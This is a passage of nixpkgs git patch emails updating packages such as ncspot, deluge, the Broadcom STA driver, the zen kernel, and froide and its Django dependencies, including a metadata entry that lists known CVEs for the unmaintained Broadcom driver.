+  nativeInstallCheckInputs = [ versionCheckHook ];
+
+  passthru.updateScript = nix-update-script { };
 
   meta = {
     description = "Cross-platform ncurses Spotify client written in Rust, inspired by ncmpc and the likes";

From af22fd94b9dea22e4a986b139c6c5a9451143fa6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 10:29:56 +0000
Subject: [PATCH 2423/4511] ncspot: 1.2.2 -> 1.3.0

(cherry picked from commit e615182da27b07e7f4685aeb7d01e55134f55d5f)
---
 pkgs/by-name/nc/ncspot/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nc/ncspot/package.nix b/pkgs/by-name/nc/ncspot/package.nix
index 84ddcf446fa3..78e6958f4acf 100644
--- a/pkgs/by-name/nc/ncspot/package.nix
+++ b/pkgs/by-name/nc/ncspot/package.nix
@@ -33,16 +33,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ncspot";
-  version = "1.2.2";
+  version = "1.3.0";
 
   src = fetchFromGitHub {
     owner = "hrkfdn";
     repo = "ncspot";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-4zeBTi1WBy9tXowsehUo4qou6bhznWPeCXFg+R3akho=";
+    hash = "sha256-FSMQv2443oPQjMSv68ppfI2ZTUG79b+GcXmHNAmjPZk=";
   };
 
-  cargoHash = "sha256-c16qw2khbMXTA8IbYQnMKqivO63DwyAWKfV2P1aD7dU=";
+  cargoHash = "sha256-Qjsn3U9KZr5qZliJ/vbudfkH1uOng1N5c8dAyH+Y5vQ=";
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optional withClipboard python3;
 

From aa0019b1ab268c3d713686fa0d07251d5a9baec1 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 11 Jun 2025 11:33:45 +0200
Subject: [PATCH 2424/4511] deluge: 2.1.1 -> 2.2.0 (#408303)

https://git.deluge-torrent.org/deluge/tree/CHANGELOG.md\?h\=deluge-2.2.0
(cherry picked from commit 9434ad383c80abf48820f6f79fe8666fd7358f14)
---
 pkgs/applications/networking/p2p/deluge/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/p2p/deluge/default.nix b/pkgs/applications/networking/p2p/deluge/default.nix
index 99309c0a0989..7be43c9fa944 100644
--- a/pkgs/applications/networking/p2p/deluge/default.nix
+++ b/pkgs/applications/networking/p2p/deluge/default.nix
@@ -21,11 +21,11 @@ let
     { pname, withGUI }:
     pypkgs.buildPythonPackage rec {
       inherit pname;
-      version = "2.1.1";
+      version = "2.2.0";
 
       src = fetchurl {
         url = "http://download.deluge-torrent.org/source/${lib.versions.majorMinor version}/deluge-${version}.tar.xz";
-        hash = "sha256-do3TGYAuQkN6s3lOvnW0lxQuCO1bD7JQO61izvRC3/c=";
+        hash = "sha256-ubonK1ukKq8caU5sKWKKuBbMGnAKN7rAiqy1JXFgas0=";
       };
 
       propagatedBuildInputs =

From 763c52bb03c527ecec824054b0076a620b2f3bde Mon Sep 17 00:00:00 2001
From: NullCube <nullcub3@gmail.com>
Date: Sun, 29 Jun 2025 21:03:58 -0700
Subject: [PATCH 2425/4511] linuxPackages.broadcom_sta: add nullcube as
 maintainer

(cherry picked from commit 51b4ad9e00ee5536c55110abca0f62ee2b7085e4)
---
 pkgs/os-specific/linux/broadcom-sta/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/broadcom-sta/default.nix b/pkgs/os-specific/linux/broadcom-sta/default.nix
index 1fee859946b2..3c318630d005 100644
--- a/pkgs/os-specific/linux/broadcom-sta/default.nix
+++ b/pkgs/os-specific/linux/broadcom-sta/default.nix
@@ -96,7 +96,10 @@ stdenv.mkDerivation {
     description = "Kernel module driver for some Broadcom's wireless cards";
     homepage = "http://www.broadcom.com/support/802.11/linux_sta.php";
     license = lib.licenses.unfreeRedistributable;
-    maintainers = [ lib.maintainers.j0hax ];
+    maintainers = with lib.maintainers; [
+      j0hax
+      nullcube
+    ];
     platforms = lib.platforms.linux;
   };
 }

From 7156d35b7e78042838a156b27e9628aede267615 Mon Sep 17 00:00:00 2001
From: NullCube <nullcub3@gmail.com>
Date: Mon, 14 Jul 2025 07:16:10 -0700
Subject: [PATCH 2426/4511] linuxPackages.broadcom_sta: fix homepage url, fix
 platforms

Update homepage URL to point to broadcom_sta resources
Correctly set meta.platforms to match available versions

(cherry picked from commit 6530ed815c8d0a1ceb0efa6e4643157e328cf88d)
---
 pkgs/os-specific/linux/broadcom-sta/default.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/broadcom-sta/default.nix b/pkgs/os-specific/linux/broadcom-sta/default.nix
index 3c318630d005..cc0f53b2cf62 100644
--- a/pkgs/os-specific/linux/broadcom-sta/default.nix
+++ b/pkgs/os-specific/linux/broadcom-sta/default.nix
@@ -94,12 +94,15 @@ stdenv.mkDerivation {
 
   meta = {
     description = "Kernel module driver for some Broadcom's wireless cards";
-    homepage = "http://www.broadcom.com/support/802.11/linux_sta.php";
+    homepage = "https://www.broadcom.com/support/download-search?pg=Legacy%20Products&pf=Legacy%20Wireless&pn&pa&po&dk&pl";
     license = lib.licenses.unfreeRedistributable;
     maintainers = with lib.maintainers; [
       j0hax
       nullcube
     ];
-    platforms = lib.platforms.linux;
+    platforms = [
+      "i686-linux"
+      "x86_64-linux"
+    ];
   };
 }

From f705e7913ea4c9f4c9045cdceff0e8eee1c389f2 Mon Sep 17 00:00:00 2001
From: NullCube <nullcub3@gmail.com>
Date: Sun, 29 Jun 2025 19:33:51 -0700
Subject: [PATCH 2427/4511] linuxPackages.broadcom_sta: 6.30.223.271(-56) ->
 6.30.223.271-57

Add patches from rpmfusion to fix build on kernel 6.15.
Add the release number from the rpmfusion repo to the package version in
order to better differentiate the various versions of the package.

Full changelog:
https://github.com/rpmfusion/wl-kmod/compare/9a5a0d7195e0f6b05ff97e948b97fb0b7427cbf2..b0d19578ebd0daae9c5b7f9e9511a6d73ac4d957

(cherry picked from commit 5d6c7f9e122138b05b05fe398257ed939fe6445c)
---
 pkgs/os-specific/linux/broadcom-sta/default.nix | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/pkgs/os-specific/linux/broadcom-sta/default.nix b/pkgs/os-specific/linux/broadcom-sta/default.nix
index cc0f53b2cf62..1ec66a9d92e0 100644
--- a/pkgs/os-specific/linux/broadcom-sta/default.nix
+++ b/pkgs/os-specific/linux/broadcom-sta/default.nix
@@ -3,12 +3,15 @@
   stdenv,
   fetchurl,
   fetchFromGitHub,
-  fetchpatch2,
   kernel,
 }:
 
 let
   version = "6.30.223.271";
+  # Patchset release number from rpmfusion, to more easily differentiate
+  # versions and updates. See `wl-kmod.spec` file:
+  # https://github.com/rpmfusion/wl-kmod/blob/master/wl-kmod.spec#L19
+  release = "57";
   hashes = {
     i686-linux = "sha256-T4twspOsjMXHDlca1dGHjQ8p0TOkb+eGmGjZwZtQWM0=";
     x86_64-linux = "sha256-X3l3TVvuyPdja1nA+wegMQju8eP9MkVjiyCFjHFBRL4=";
@@ -21,8 +24,8 @@ let
   rpmFusionPatches = fetchFromGitHub {
     owner = "rpmfusion";
     repo = "wl-kmod";
-    rev = "9a5a0d7195e0f6b05ff97e948b97fb0b7427cbf2";
-    hash = "sha256-pOOkkOjc77KGqc9fWuRyRsymd90OpLEnbOvxBbeIdKQ=";
+    rev = "b0d19578ebd0daae9c5b7f9e9511a6d73ac4d957";
+    hash = "sha256-v7mZ2S/eVfGTEXrxpdiemHhrC+P3/sPOZqTBhRtins4=";
   };
   patchset = [
     "wl-kmod-001_wext_workaround.patch"
@@ -55,10 +58,14 @@ let
     "wl-kmod-028_kernel_6.12_adaptation.patch"
     "wl-kmod-029_kernel_6.13_adaptation.patch"
     "wl-kmod-030_kernel_6.14_adaptation.patch"
+    "wl-kmod-031_replace_EXTRA_CFLAGS_EXTRA_LDFLAGS_with_ccflags-y_ldflags-y.patch"
+    "wl-kmod-032_add_MODULE_DESCRIPTION_macro.patch"
+    "wl-kmod-033_disable_objtool_add_warning_unmaintained.patch"
+    "wl-kmod-034_kernel_6.15_adaptation_replace_del_timer_with_timer_delete.patch"
   ];
 in
 stdenv.mkDerivation {
-  name = "broadcom-sta-${version}-${kernel.version}";
+  name = "broadcom-sta-${version}-${release}-${kernel.version}";
 
   src = fetchurl {
     url = "https://docs.broadcom.com/docs-and-downloads/docs/linux_sta/${tarball}";

From bbb9770a558cd16e14c6daa9b616d3a945da1f94 Mon Sep 17 00:00:00 2001
From: NullCube <nullcub3@gmail.com>
Date: Sun, 13 Jul 2025 18:27:17 -0700
Subject: [PATCH 2428/4511] linuxPackages.broadcom_sta: added CVE's and
 unmaintained warning to meta.knownVulnerabilities

Important warning: this module has reached the end of support from Broadcom.
It is therefore exposed to Common Vulnerabilities and Exposures (CVE).
More information on the concerned CVE could be obtained here:
https://www.cve.org/CVERecord/SearchResults?query=broadcom+wl+WiFi+driver

Message from:
https://github.com/rpmfusion/wl-kmod/blob/b0d19578ebd0daae9c5b7f9e9511a6d73ac4d957/wl-kmod.spec#L86-L89

(cherry picked from commit 4d6edc8a15ce8fb242b0a5b3a785af336c63da09)
---
 pkgs/os-specific/linux/broadcom-sta/default.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/os-specific/linux/broadcom-sta/default.nix b/pkgs/os-specific/linux/broadcom-sta/default.nix
index 1ec66a9d92e0..b2ca5dca7cf9 100644
--- a/pkgs/os-specific/linux/broadcom-sta/default.nix
+++ b/pkgs/os-specific/linux/broadcom-sta/default.nix
@@ -111,5 +111,15 @@ stdenv.mkDerivation {
       "i686-linux"
       "x86_64-linux"
     ];
+    knownVulnerabilities = [
+      "CVE-2019-9501: heap buffer overflow, potentially allowing remote code execution by sending specially-crafted WiFi packets"
+      "CVE-2019-9502: heap buffer overflow, potentially allowing remote code execution by sending specially-crafted WiFi packets"
+      (
+        "The Broadcom STA wireless driver is not maintained "
+        + "and is incompatible with Linux kernel security mitigations. "
+        + "It is heavily recommended to replace the hardware and remove the driver. "
+        + "Proceed at your own risk!"
+      )
+    ];
   };
 }

From da8814942201db3da13f828106be11f766d181d4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 03:47:54 +0000
Subject: [PATCH 2429/4511] linuxKernel.kernels.linux_zen: 6.15.4 -> 6.15.6

(cherry picked from commit dd0069ff43978f4dd69220826c290f4fdda4a5b5)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index b025d4e946a6..6064cab07780 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.15.4"; # zen
-      suffix = "zen2"; # zen
-      sha256 = "0mf83mwpsa2zm1crc3gqbgmsrpsdxi52r1yvrknrcvi003m1y55y"; # zen
+      version = "6.15.6"; # zen
+      suffix = "zen1"; # zen
+      sha256 = "11nfmnyyqph9d0hihss9dg96z7dgiqk3p16c2i2li6q52walbj6g"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 7f318c86f5dc5cb1ca680afcdd64fde33f4d2b56 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 2 Jul 2025 14:45:24 +0200
Subject: [PATCH 2430/4511] froide-govplan: 0-unstable-2025-01-27 ->
 0-unstable-2025-06-25

(cherry picked from commit 9a3a54f1123cb2ae270b7af45c052985f0748fc5)
---
 pkgs/by-name/fr/froide-govplan/package.nix | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/fr/froide-govplan/package.nix b/pkgs/by-name/fr/froide-govplan/package.nix
index cd2f605c7ca9..cad713bb1957 100644
--- a/pkgs/by-name/fr/froide-govplan/package.nix
+++ b/pkgs/by-name/fr/froide-govplan/package.nix
@@ -14,13 +14,14 @@
 let
   python = python3Packages.python.override {
     packageOverrides = self: super: {
-      django = super.django.override { withGdal = true; };
+      django_5 = super.django_5.override { withGdal = true; };
+      django = super.django_5;
     };
   };
 in
 python.pkgs.buildPythonApplication rec {
   pname = "froide-govplan";
-  version = "0-unstable-2025-01-27";
+  version = "0-unstable-2025-06-25";
   pyproject = true;
 
   src = fetchFromGitHub {
@@ -28,8 +29,8 @@ python.pkgs.buildPythonApplication rec {
     repo = "froide-govplan";
     # No tagged release yet
     # https://github.com/okfde/froide-govplan/issues/15
-    rev = "f1763807614b8c54a9214359a2a1e442ca58cb6d";
-    hash = "sha256-Y7/qjhu3y9E55ZDmDf5HUk9JVcUTvi9KnqavqwNixTM=";
+    rev = "9c325e70a84f26fea37b5a34f24d19fd82ea62ff";
+    hash = "sha256-OD4vvKt0FLuiAVGwpspWLB2ZuM1UJkZdv2YcbKKYk9A=";
   };
 
   patches = [
@@ -69,7 +70,6 @@ python.pkgs.buildPythonApplication rec {
   build-inputs = [ gdal ];
 
   dependencies = with python.pkgs; [
-    bleach
     django-admin-sortable2
     django-cms
     django-filer
@@ -93,6 +93,7 @@ python.pkgs.buildPythonApplication rec {
         };
       })
     ))
+    nh3
     psycopg
   ];
 
@@ -103,7 +104,7 @@ python.pkgs.buildPythonApplication rec {
     cp -r project $out/${python.sitePackages}/froide_govplan/
     cp -r froide_govplan/locale $out/${python.sitePackages}/froide_govplan/
     makeWrapper $out/${python.sitePackages}/froide_govplan/manage.py $out/bin/froide-govplan \
-      --prefix PYTHONPATH : "$PYTHONPATH" \
+      --prefix PYTHONPATH : ${passthru.pythonPath}:$out/${python.sitePackages} \
       --set GDAL_LIBRARY_PATH "${gdal}/lib/libgdal.so" \
       --set GEOS_LIBRARY_PATH "${geos}/lib/libgeos_c.so"
   '';
@@ -112,8 +113,8 @@ python.pkgs.buildPythonApplication rec {
     tests = {
       inherit (nixosTests) froide-govplan;
     };
-    python = python;
-    pythonPath = "${python.pkgs.makePythonPath dependencies}:${froide-govplan}/${python.sitePackages}";
+    inherit python;
+    pythonPath = "${python.pkgs.makePythonPath dependencies}";
   };
 
   meta = {

From 28967724aa29d6a0652305de6b8d13f806369bb5 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 2 Jul 2025 14:47:51 +0200
Subject: [PATCH 2431/4511] froide: 0-unstable-2025-04-25 ->
 0-unstable-2025-06-01

(cherry picked from commit 7f1da3b0ae0a1168e249b95c02fdb8fd69d38e8f)
---
 pkgs/by-name/fr/froide/package.nix | 40 ++++++++++++++++++++++--------
 1 file changed, 29 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/fr/froide/package.nix b/pkgs/by-name/fr/froide/package.nix
index c6e120dafb69..10fed1c6e595 100644
--- a/pkgs/by-name/fr/froide/package.nix
+++ b/pkgs/by-name/fr/froide/package.nix
@@ -15,20 +15,38 @@
 let
 
   python = python3Packages.python.override {
-    packageOverrides = self: super: { django = super.django.override { withGdal = true; }; };
+    packageOverrides = self: super: {
+      django_5 = super.django_5.override { withGdal = true; };
+      django = super.django_5;
+      # custom python module part of froide
+      dogtail = super.buildPythonPackage {
+        pname = "dogtail";
+        version = "0-unstable-2024-11-27";
+        pyproject = true;
+
+        src = fetchFromGitHub {
+          owner = "okfde";
+          repo = "dogtail";
+          rev = "d2f341cab0f05ef4e193f0158fe5a64aadc5bae6";
+          hash = "sha256-2lQZgvFXAz6q/3NpBcwckUologWxKmwXI0ZG5nylajg=";
+        };
+
+        build-system = with super; [ setuptools ];
+      };
+    };
   };
 
 in
 python.pkgs.buildPythonApplication rec {
   pname = "froide";
-  version = "0-unstable-2025-04-25";
+  version = "0-unstable-2025-07-01";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "okfde";
     repo = "froide";
-    rev = "9e4838fc5f17a0506af42ad5fd1ebc66cff4b92a";
-    hash = "sha256-0EC6oCaiK7gw5ikemskiK3qOlflGHzlG4giDQNj9tBQ=";
+    rev = "362bddb5a8fdfe762d59cdebd29016568c9531b2";
+    hash = "sha256-c8I/FvXQSkAeacxMQJCpCMKFueNEnLI4R0ElqRbVbNg=";
   };
 
   patches = [ ./django_42_storages.patch ];
@@ -48,11 +66,9 @@ python.pkgs.buildPythonApplication rec {
   ];
 
   dependencies = with python.pkgs; [
-    bleach
     celery
     celery-singleton
     channels
-    coreapi
     dj-database-url
     django
     django-celery-beat
@@ -63,9 +79,6 @@ python.pkgs.buildPythonApplication rec {
     django-elasticsearch-dsl
     django-filingcabinet
     django-filter
-    # Project discontinued upstream
-    # https://github.com/okfde/froide/issues/893
-    django-fsm
     django-json-widget
     django-leaflet
     django-mfa3
@@ -86,6 +99,7 @@ python.pkgs.buildPythonApplication rec {
     geoip2
     icalendar
     markdown
+    nh3
     phonenumbers
     pillow
     pikepdf
@@ -104,7 +118,7 @@ python.pkgs.buildPythonApplication rec {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
-    hash = "sha256-IeuQoiI/r9AKLZgKkZx0C+qE9ueWuC39Y77MB08zSAc=";
+    hash = "sha256-g7YX2fVXGmb3Qq9NNCb294bk4/0khcIZVSskYbE8Mdw=";
   };
 
   postBuild = ''
@@ -114,7 +128,7 @@ python.pkgs.buildPythonApplication rec {
   postInstall = ''
     cp -r build manage.py $out/${python.sitePackages}/froide/
     makeWrapper $out/${python.sitePackages}/froide/manage.py $out/bin/froide \
-      --prefix PYTHONPATH : "$PYTHONPATH" \
+      --prefix PYTHONPATH : "${python3Packages.makePythonPath dependencies}" \
       --set GDAL_LIBRARY_PATH "${gdal}/lib/libgdal.so" \
       --set GEOS_LIBRARY_PATH "${geos}/lib/libgeos_c.so"
   '';
@@ -129,6 +143,7 @@ python.pkgs.buildPythonApplication rec {
 
   checkInputs = with python.pkgs; [
     beautifulsoup4
+    pytest-asyncio
     pytest-factoryboy
     time-machine
   ];
@@ -156,6 +171,9 @@ python.pkgs.buildPythonApplication rec {
     "test_bouncing_email"
     "test_multiple_partial"
     "test_logfile_rotation"
+    # Test hangs
+    "test_collapsed_menu"
+    "test_make_request_logged_out_with_existing_account"
   ];
 
   preCheck =

From c97271d8d9c3284ffd848ec11cc8e41fae959362 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 3 Jul 2025 11:20:43 +0200
Subject: [PATCH 2432/4511] python3Packages.django-allauth: 65.7.0 -> 65.9.0

(cherry picked from commit 9f863f5c56ec011a0406081de459f9f5fc71d90e)
---
 .../python-modules/django-allauth/default.nix   | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/pkgs/development/python-modules/django-allauth/default.nix b/pkgs/development/python-modules/django-allauth/default.nix
index 0938fa8a70a2..7de34b9ca763 100644
--- a/pkgs/development/python-modules/django-allauth/default.nix
+++ b/pkgs/development/python-modules/django-allauth/default.nix
@@ -1,7 +1,7 @@
 {
   lib,
   buildPythonPackage,
-  fetchFromGitHub,
+  fetchFromGitea,
   pythonOlder,
   python,
 
@@ -40,16 +40,17 @@
 
 buildPythonPackage rec {
   pname = "django-allauth";
-  version = "65.7.0";
+  version = "65.9.0";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
 
-  src = fetchFromGitHub {
-    owner = "pennersr";
+  src = fetchFromGitea {
+    domain = "codeberg.org";
+    owner = "allauth";
     repo = "django-allauth";
     tag = version;
-    hash = "sha256-1HmEJ5E4Vp/CoyzUegqQXpzKUuz3dLx2EEv7dk8fq8w=";
+    hash = "sha256-gusA9TnsgSSnWBPwHsNYeESD9nX5DWh4HqMgcsoJRw0=";
   };
 
   nativeBuildInputs = [ gettext ];
@@ -101,10 +102,10 @@ buildPythonPackage rec {
   passthru.tests = { inherit dj-rest-auth; };
 
   meta = {
-    changelog = "https://github.com/pennersr/django-allauth/blob/${version}/ChangeLog.rst";
     description = "Integrated set of Django applications addressing authentication, registration, account management as well as 3rd party (social) account authentication";
-    downloadPage = "https://github.com/pennersr/django-allauth";
-    homepage = "https://www.intenct.nl/projects/django-allauth";
+    changelog = "https://codeberg.org/allauth/django-allauth/src/tag/${version}/ChangeLog.rst";
+    downloadPage = "https://codeberg.org/allauth/django-allauth";
+    homepage = "https://allauth.org";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ derdennisop ];
   };

From df02626a36932ab3d7a6c1d9b956e6040b338319 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 3 Jul 2025 11:21:13 +0200
Subject: [PATCH 2433/4511] django-filingcabinet: 0.17-unstable-2025-04-10 ->
 0.17-unstable-2025-07-01

(cherry picked from commit 27c51c7c51c09280d7fc1eb575e39afbb485d84b)
---
 .../python-modules/django-filingcabinet/default.nix       | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/django-filingcabinet/default.nix b/pkgs/development/python-modules/django-filingcabinet/default.nix
index 24289add7fce..ea04a57f5f25 100644
--- a/pkgs/development/python-modules/django-filingcabinet/default.nix
+++ b/pkgs/development/python-modules/django-filingcabinet/default.nix
@@ -37,7 +37,7 @@
 
 buildPythonPackage rec {
   pname = "django-filingcabinet";
-  version = "0.17-unstable-2025-04-10";
+  version = "0.17-unstable-2025-07-01";
   pyproject = true;
 
   src = fetchFromGitHub {
@@ -45,8 +45,8 @@ buildPythonPackage rec {
     repo = "django-filingcabinet";
     # No release tagged yet on GitHub
     # https://github.com/okfde/django-filingcabinet/issues/69
-    rev = "64b7b4ad804067e2f16e8a0f165c139e3ffe5fb5";
-    hash = "sha256-48Peui/5N/GfzWS1EJ5uKeKEoPjX+fPEXzG2owxsDaE=";
+    rev = "ff39722209acf70bc73fa7074c16ed8a787fceea";
+    hash = "sha256-9SrMWBTk7RQCbVPHOU5rB/pi286hb6UONaLmBOtx6X0=";
   };
 
   postPatch = ''
@@ -94,7 +94,7 @@ buildPythonPackage rec {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
-    hash = "sha256-uMO2iEOi9ACYdIM8Thf7+y1KpHQEqVxO3yxZ8RaGFXA=";
+    hash = "sha256-kvLV/pCX/wQHG0ttrjSro7/CoQ5K1T0aFChafQOwvNw=";
   };
 
   postBuild = ''

From 5ba6512d836870a81f1175bee20cab91e2032300 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 3 Jul 2025 11:21:33 +0200
Subject: [PATCH 2434/4511] python3Packages.django-mfa3: 0.15.1 -> 1.0.0

(cherry picked from commit 3d106afccc54e6cce9099ddcb57e306f79eb4704)
---
 pkgs/development/python-modules/django-mfa3/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/python-modules/django-mfa3/default.nix b/pkgs/development/python-modules/django-mfa3/default.nix
index fe1c247ca603..5651335e8c2f 100644
--- a/pkgs/development/python-modules/django-mfa3/default.nix
+++ b/pkgs/development/python-modules/django-mfa3/default.nix
@@ -5,21 +5,21 @@
   django,
   setuptools,
   pyotp,
-  fido2,
+  fido2_2,
   qrcode,
   python,
 }:
 
 buildPythonPackage rec {
   pname = "django-mfa3";
-  version = "0.15.1";
+  version = "1.0.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "xi";
     repo = "django-mfa3";
     tag = version;
-    hash = "sha256-HcurgGSzPnKVRpL9NVq0vkCmYDvj/HoWYVbnIrK5pSI=";
+    hash = "sha256-bgIzrSM8KP6uQHvn393NWYw9DODdHLMqKn6pgw3EG/w=";
   };
 
   build-system = [ setuptools ];
@@ -27,7 +27,7 @@ buildPythonPackage rec {
   dependencies = [
     django
     pyotp
-    fido2
+    fido2_2
     qrcode
   ];
 

From 1e8d06f2000bd7423ae1e1bdfcd4792d95138d79 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Fri, 4 Jul 2025 00:36:15 +0200
Subject: [PATCH 2435/4511] python3Packages.dj-rest-auth: Fix compatibility
 with django-allauth

(cherry picked from commit 38914c8076f2f63911c46258983b2c3f1e74f4e6)
---
 .../python-modules/dj-rest-auth/default.nix   | 42 ++++++++++++++-----
 1 file changed, 31 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/python-modules/dj-rest-auth/default.nix b/pkgs/development/python-modules/dj-rest-auth/default.nix
index 7cabff4b15e1..dffa779db8b7 100644
--- a/pkgs/development/python-modules/dj-rest-auth/default.nix
+++ b/pkgs/development/python-modules/dj-rest-auth/default.nix
@@ -11,6 +11,8 @@
   responses,
   setuptools,
   unittest-xml-reporting,
+  pytestCheckHook,
+  pytest-django,
 }:
 
 buildPythonPackage rec {
@@ -32,6 +34,13 @@ buildPythonPackage rec {
       url = "https://github.com/iMerica/dj-rest-auth/commit/cc5587e4e3f327697709f3f0d491650bff5464e7.diff";
       hash = "sha256-2LahibxuNECAfjqsbNs2ezaWt1VH0ZBNwSNWCZwIe8I=";
     })
+    # Add compatibility with django-allauth v65.4
+    # See https://github.com/iMerica/dj-rest-auth/pull/681
+    (fetchpatch {
+      name = "django-allauth_65.4_compatibility.patch";
+      url = "https://github.com/iMerica/dj-rest-auth/commit/59b8cab7e2f4e3f2fdc11ab3b027a32cad45deef.patch";
+      hash = "sha256-CH85vB3EOQvFxx+ZP2LYI4LEvaZ+ccLdXZGuAvEfStc=";
+    })
   ];
 
   postPatch = ''
@@ -55,25 +64,36 @@ buildPythonPackage rec {
     unittest-xml-reporting
   ] ++ optional-dependencies.with_social;
 
+  checkInputs = [
+    pytestCheckHook
+    pytest-django
+  ];
+
+  env.DJANGO_SETTINGS_MODULE = "dj_rest_auth.tests.settings";
+
   preCheck = ''
-    # Test connects to graph.facebook.com
-    substituteInPlace dj_rest_auth/tests/test_serializers.py \
-      --replace-fail "def test_http_error" "def dont_test_http_error"
+    # Make tests module available for the checkPhase
+    export PYTHONPATH=$out/${python.sitePackages}/dj_rest_auth:$PYTHONPATH
   '';
 
-  checkPhase = ''
-    runHook preCheck
-    ${python.interpreter} runtests.py
-    runHook postCheck
-  '';
+  disabledTests = [
+    # Test connects to graph.facebook.com
+    "TestSocialLoginSerializer"
+  ];
+
+  disabledTestPaths = [
+    # Test fails with > django-allauth 65.4
+    # See: https://github.com/iMerica/dj-rest-auth/pull/681#issuecomment-3034953311
+    "dj_rest_auth/tests/test_social.py"
+  ];
 
   pythonImportsCheck = [ "dj_rest_auth" ];
 
-  meta = with lib; {
+  meta = {
     description = "Authentication for Django Rest Framework";
     homepage = "https://github.com/iMerica/dj-rest-auth";
     changelog = "https://github.com/iMerica/dj-rest-auth/releases/tag/${version}";
-    license = licenses.mit;
-    maintainers = [ ];
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ onny ];
   };
 }

From ab6ae921012df1ba13574404c4ebb6f04506a4a9 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Fri, 4 Jul 2025 12:34:42 +0200
Subject: [PATCH 2436/4511] nixos/froide-govplan: Fix PYTHONPATH

(cherry picked from commit cd85e93ff776c1f347a911c7ecbb19e0d7bedda0)
---
 nixos/modules/services/web-apps/froide-govplan.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/froide-govplan.nix b/nixos/modules/services/web-apps/froide-govplan.nix
index e5c7c0b19676..71e77c6f66db 100644
--- a/nixos/modules/services/web-apps/froide-govplan.nix
+++ b/nixos/modules/services/web-apps/froide-govplan.nix
@@ -191,7 +191,7 @@ in
           wantedBy = [ "multi-user.target" ];
           environment =
             {
-              PYTHONPATH = pkg.pythonPath;
+              PYTHONPATH = "${pkg.pythonPath}:${pkg}/${pkg.python.sitePackages}";
               GDAL_LIBRARY_PATH = "${pkgs.gdal}/lib/libgdal.so";
               GEOS_LIBRARY_PATH = "${pkgs.geos}/lib/libgeos_c.so";
             }

From dcc647d18125390076f7ac612f2813fdcc04b22a Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Mon, 7 Jul 2025 11:12:15 +0200
Subject: [PATCH 2437/4511] paperless-ngx: Pin django-allauth version

(cherry picked from commit 30b46a50bc1bbb66984cbb4961a6ddcb1c1026a0)
---
 pkgs/by-name/pa/paperless-ngx/package.nix | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/pa/paperless-ngx/package.nix b/pkgs/by-name/pa/paperless-ngx/package.nix
index 41445394d5b8..7d3935fa04e6 100644
--- a/pkgs/by-name/pa/paperless-ngx/package.nix
+++ b/pkgs/by-name/pa/paperless-ngx/package.nix
@@ -169,7 +169,17 @@ python.pkgs.buildPythonApplication rec {
       concurrent-log-handler
       dateparser
       django_5
-      django-allauth
+      # django-allauth version 65.9.X not yet supported
+      # See https://github.com/paperless-ngx/paperless-ngx/issues/10336
+      (django-allauth.overrideAttrs (
+        new: prev: rec {
+          version = "65.7.0";
+          src = prev.src.override {
+            tag = version;
+            hash = "sha256-1HmEJ5E4Vp/CoyzUegqQXpzKUuz3dLx2EEv7dk8fq8w=";
+          };
+        }
+      ))
       django-auditlog
       django-celery-results
       django-compression-middleware

From 4b5ac3c305d698201fc9aff21caa0f725caeca30 Mon Sep 17 00:00:00 2001
